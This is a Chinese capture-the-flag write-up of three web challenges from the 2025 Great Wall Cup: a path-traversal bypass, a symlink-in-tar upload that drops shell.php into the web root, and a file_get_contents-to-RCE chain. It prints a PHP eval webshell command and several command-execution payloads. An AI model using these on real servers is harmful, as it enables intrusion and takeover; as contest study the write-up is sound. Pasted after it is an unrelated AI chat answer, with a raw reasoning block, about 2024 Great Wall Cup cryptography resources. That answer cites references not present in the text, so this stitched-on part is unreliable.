2025第五届“长城杯”网络安全大赛暨京津冀蒙网络安全技能竞赛 WP Web全

Web安全攻防与漏洞利用实战解析

文曲签学

首先随便输入一个指令尝试,发现提示输入help查看帮助

在这里插入图片描述

输入help,发现有list命令查看笔记和read命令读取笔记

在这里插入图片描述

list查看笔记列表,发现HINT,read查看

在这里插入图片描述

关注公众号后提示

在这里插入图片描述

写的很明确了,目录穿越加双写绕过

在这里插入图片描述

拿到flag

EZ_upload

随便上传一个文件,跳转至upload.php查看源码

<?php
highlight_file(__FILE__);

function handleFileUpload($file)
{
    $uploadDirectory = '/tmp/';

    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo '文件上传失败。';
        return;
    }

    $filename = basename($file['name']);
    $filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);

    if (empty($filename)) {
        echo '文件名不符合要求。';
        return;
    }

    $destination = $uploadDirectory . $filename;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
        echo $destination;
    } else {
        echo '文件移动失败。';
    }
}

handleFileUpload($_FILES['file']);
?>

代码审计,就是上传一个名字符合要求的文件到tmp目录下,他会在tmp目录下tar解压这个文件

这个题我自己想肯定是想破头也做不出来的,感谢社团师哥的提示和帮助

这里用到的知识点是软链接,下面做简单介绍

1.介绍

符号链接也称为软链接,是将一个路径名链接到一个文件。软链接文件是一种特别类型的文件,它们是一个文本文件,文件内部只包含了被链接文件的路径名。

2.命令

ln -s 源文件绝对路径 软链接路径

注意源文件的路径必须是绝对路径。

3.用法

比如现在我们在a目录,在这个目录下存有b目录的一个软链接,我们往a目录下的软链接里传文件,相当于向b目录下传文件。本题就是利用这个特点来做。

解题思路

首先明确思路,本题显然只能往tmp里传文件,我们要想往靶机传马,就要在tmp目录下有一个通往/var/www/html的软链接。所以我们创建一个软链接html -> /var/www/html ,然后我们想办法往这个软链接里传马。

这里有点难懂,我看了一会儿也算是研究明白了,还是利用的linux机制

我们可以新建一个名为html的文件夹(注意这个文件夹名字和软链接名字是一样的),然后在这个文件夹里放shell.php写马,打成tar包上传。解压后,shell.php在html文件夹中,而linux就会认为这个php文件是在html软链接中,shell.php通过软链接传到了/var/www/html,也就成功写马可以利用了。

解题

1.创建html软链接

在这里插入图片描述

2.把这个软链接打包成tar包 1.tar

在这里插入图片描述

3.创建html文件夹(因为和软链接重名,可以换一个目录或者直接把软链接删掉,打完tar包后原来的软链接就没用了)

在这里插入图片描述

4.写shell.php并把他放在html文件夹中

在这里插入图片描述

5.将html/shell.php打成tar包(注意一定写这个路径html.shell.php,不能直接写./html或者html)

在这里插入图片描述

6.回到题目,依次上传1.tar和2.tar,访问shell.php,在根目录拿到flag

在这里插入图片描述

SeRce

源码非常简单

<?php
highlight_file(__FILE__);
$exp = $_GET["exp"];
if(isset($exp)){
    if(serialize(unserialize($exp)) != $exp){
        $data = file_get_contents($_POST['filetoread']);
        echo "File Contents: $data";
    }
} 

exp直接交给ai绕过

?exp=i:01

关键就是后面的file_get_contents

这种类型的题之前做过一次,也是师哥教的,我也想到了那个做法

file_get_contents文件读取rce

利用这种做法,我们需要/proc/self/maps和这个目录中的so文件,放脚本运行。至于我为什么卡住了。。。

因为当时那个题要找libc-2.x.so,而这个题中没有这个,只有libc.so.6,我认为必要文件缺失,于是卡住了。。。

也是长个教训吧

1.读/proc/self/maps

在这里插入图片描述

注意用的时候我们需要里面的每一条换行,所以这里查看源代码再复制

在这里插入图片描述

在这里插入图片描述

2.找到so文件

在这里插入图片描述

3.读so文件

由于直接读的话是乱码,所以我们用filter伪协议base64输出,再用cyberchef下载解base64后的结果即可。

在这里插入图片描述

在这里插入图片描述

4.将maps.txt、download.elf和脚本放在同一目录下

在这里插入图片描述

5.修改脚本,生成payload

在上一次的题目中,我们的cmd是

echo "<?php eval(\$_POST[a]);?>" > /var/www/html/shell.php

测试发现这个目录没有写入权限,所以不能这么用

测试又发现我们可以在tmp下写文件,所以cmd

ls / | tee /tmp/1.txt

运行脚本,得到payload执行。

值得一提的是,本题执行后回显容器不存在,着并非说明靶机过期了,而是已经rce了

在这里插入图片描述

这里注意,如果脚本运行失败,看一下maps.txt是不是从源代码中复制的每一行都是换行的

执行根据回显发现根目录中有flag文件,直接tac /flag是无回显的,也就是没有访问权限

但是我们注意到根目录下有一个readflag,这是一个可执行文件,可以执行读flag的操作

在这里插入图片描述

于是我们的cmd

readflag | tee 1.txt

拿到flag。

在这里插入图片描述

<think>好的,我现在需要处理用户关于2024长城杯密码学比赛信息和学习资料的请求。首先,我需要检查用户提供的参考引用,看看是否有相关的资料可以直接引用。用户提供了三个引用,其中引用[2]和引用[3]提到了长城杯的密码学题目和取证溯源的内容。 用户的问题集中在密码学相关的比赛信息或学习资料,所以我应该优先关注引用[2],因为它明确提到了crypto部分的题解,包含了一个flag的示例。而引用[3]虽然涉及取证,但可能和密码学没有直接关联,不过可能需要确认是否有交叉内容。引用[1]则主要涉及比赛准备,安装了Wireshark等工具,这对网络分析可能有帮助,但不确定是否直接用于密码学。 接下来,我需要整理已有的信息。引用[2]提到了一个具体的题目,flag的格式为flag{p*q*r*s_32cacb2f994f6b42183a1300d9a3e8d6},这可能涉及到多素数分解或哈希处理。这可以作为解题思路的参考。此外,用户可能需要学习如何分析类似的密码学题目,比如RSA多素数分解、哈希算法识别等。 用户还希望获得学习资料,因此需要推荐相关资源。常见的密码学学习资料包括书籍如《密码编码学与网络安全》、CTF比赛平台如CTFtime,以及在线课程。同时,结合长城杯的特点,可能需要实践操作,如使用Python进行密码分析,工具如OpenSSL、John the Ripper等。 在生成相关问题部分,需要考虑用户可能的后续问题,例如具体题型的解法、备赛建议、实战资源等。需要确保问题有针对性,帮助用户深入理解。 需要验证是否有其他引用内容被遗漏,但根据提供的引用,引用[3]主要涉及应急响应和流量分析,可能与密码学关联不大,但流量分析中有时会涉及加密流量分析,这点可能需要提及,但优先级较低。 最后,确保回答结构清晰,分点列出比赛信息和学习资料,并且每个部分都有对应的引用支持。同时,生成的相关问题要引导用户进一步探索,例如具体解题方法或资料推荐。</think>### 2024长城杯密码学比赛信息及学习资料整理 #### 一、比赛信息与题型参考 1. **题目类型与示例** 根据2024长城杯初赛部分题解,密码学题目涉及多素数分解与哈希结合的综合题型。例如: $$flag\{p*q*r*s\_32cacb2f994f6b42183a1300d9a3e8d6\}$$ 此类题目可能需要分解多个素数$p,q,r,s$,并验证哈希值[^2]。 2. **赛前准备经验** 参赛者通常会通过分析往届题目(如安装Wireshark分析流量)、练习密码学工具(如Python脚本、OpenSSL)提升实战能力[^1]。 #### 二、推荐学习资料 1. **密码学基础书籍** - 《密码编码学与网络安全》:涵盖对称加密、非对称加密、哈希算法等核心内容。 - 《CTF竞赛权威指南(Pwn篇)》:包含密码学实战案例。 2. **实践平台与工具** - **CTF比赛平台**:CTFtime(汇总球赛事)、攻防世界(含长城杯题型复现)。 - **工具库**:Python的`pycryptodome`库、RSA分解工具`yafu`。 3. **往届资源与题解** - 2024长城杯初赛密码学题解(参考示例中的多素数分解思路)。 - 第一届决赛取证题中的流量分析技巧(如使用Wireshark识别加密流量)[^3]。 #### 三、实战建议 1. **重点题型训练** - 多素数RSA分解(涉及大整数分解算法) - 哈希碰撞与彩虹表攻击(如示例中的`32cacb...`后缀) 2. **模拟环境搭建** - 在Linux系统中配置Python密码学开发环境,例如: ```python from Crypto.Util.number import bytes_to_long, getPrime p = getPrime(512) # 生成512位素数 ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值